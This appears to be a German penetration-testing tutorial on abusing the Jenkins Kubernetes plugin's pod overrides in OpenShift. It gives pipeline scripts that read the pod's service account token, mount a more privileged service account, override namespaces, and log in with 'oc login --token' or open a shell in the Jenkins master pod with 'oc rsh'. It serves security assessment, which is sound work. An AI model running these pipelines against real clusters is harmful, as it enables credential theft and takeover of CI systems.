Jenkins in Openshift - Build-Pod-Overrides
Reading time: 4 minutes
Der ursprüngliche Autor dieser Seite ist Fares
Kubernetes-Plugin für Jenkins
Dieses Plugin ist hauptsächlich für die Kernfunktionen von Jenkins innerhalb eines Openshift/Kubernetes-Clusters verantwortlich. Offizielle Dokumentation hier
Es bietet einige Funktionalitäten, wie die Möglichkeit für Entwickler, einige Standardkonfigurationen eines Jenkins-Build-Pods zu überschreiben.
Kernfunktionalität
Dieses Plugin ermöglicht Entwicklern Flexibilität beim Erstellen ihres Codes in einer geeigneten Umgebung.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
Einige Missbräuche unter Verwendung von Pod-YAML-Overrides
Es kann jedoch missbraucht werden, um jedes zugängliche Image wie Kali Linux zu verwenden und beliebige Befehle mit vorinstallierten Tools aus diesem Image auszuführen. Im folgenden Beispiel können wir das Serviceaccount-Token des laufenden Pods exfiltrieren.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
Eine andere Syntax, um dasselbe Ziel zu erreichen.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Beispiel zum Überschreiben des Namensraums des Pods
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Ein weiteres Beispiel, das versucht, ein Servicekonto zu mounten (das möglicherweise mehr Berechtigungen hat als das Standardkonto, das Ihren Build ausführt), basierend auf seinem Namen. Möglicherweise müssen Sie zuerst vorhandene Servicekonten erraten oder auflisten.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Die gleiche Technik gilt, um zu versuchen, ein Secret zu mounten. Das Endziel hier wäre herauszufinden, wie man den Pod-Bau so konfiguriert, dass man effektiv pivotieren oder Privilegien erlangen kann.
Weiterführend
Sobald Sie sich daran gewöhnt haben, damit zu spielen, nutzen Sie Ihr Wissen über Jenkins und Kubernetes/Openshift, um Fehlkonfigurationen / Missbräuche zu finden.
Stellen Sie sich die folgenden Fragen:
- Welches Dienstkonto wird verwendet, um Build-Pods bereitzustellen?
- Welche Rollen und Berechtigungen hat es? Kann es Secrets des Namespaces lesen, in dem ich mich gerade befinde?
- Kann ich weitere Build-Pods auflisten?
- Kann ich von einem kompromittierten sa aus Befehle auf dem Master-Knoten/Pod ausführen?
- Kann ich den Cluster weiter auflisten, um woanders zu pivotieren?
- Welches SCC ist angewendet?
Sie können herausfinden, welche oc/kubectl-Befehle auszuführen sind hier und hier.
Mögliche privesc/pivoting Szenarien
Angenommen, während Ihrer Bewertung haben Sie herausgefunden, dass alle Jenkins-Bauten in einem Namespace namens worker-ns ausgeführt werden. Sie haben herausgefunden, dass ein Standard-Dienstkonto namens default-sa auf den Build-Pods gemountet ist, jedoch nicht so viele Berechtigungen hat, außer Lesezugriff auf einige Ressourcen, aber Sie konnten ein vorhandenes Dienstkonto namens master-sa identifizieren. Angenommen, Sie haben auch den oc-Befehl im laufenden Build-Container installiert.
Mit dem folgenden Build-Skript können Sie die Kontrolle über das master-sa Dienstkonto übernehmen und weiter auflisten.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
Je nach Ihrem Zugriff müssen Sie entweder Ihren Angriff vom Build-Skript aus fortsetzen oder Sie können sich direkt als dieser sa im laufenden Cluster anmelden:
oc login --token=$token --server=https://apiserver.com:port
Wenn dieser sa über ausreichende Berechtigungen verfügt (wie pod/exec), können Sie auch die gesamte Jenkins-Instanz übernehmen, indem Sie Befehle im Pod des Masterknotens ausführen, sofern er im selben Namespace läuft. Sie können diesen Pod leicht anhand seines Namens und der Tatsache identifizieren, dass er ein PVC (Persistent Volume Claim) einbinden muss, das zur Speicherung von Jenkins-Daten verwendet wird.
oc rsh pod_name -c container_name
Falls das Master-Node-Pod nicht im selben Namespace wie die Worker läuft, können Sie ähnliche Angriffe versuchen, indem Sie den Master-Namespace anvisieren. Angenommen, er heißt jenkins-master. Beachten Sie, dass das Servicekonto master-sa im Namespace jenkins-master existieren muss (und möglicherweise nicht im Namespace worker-ns existiert).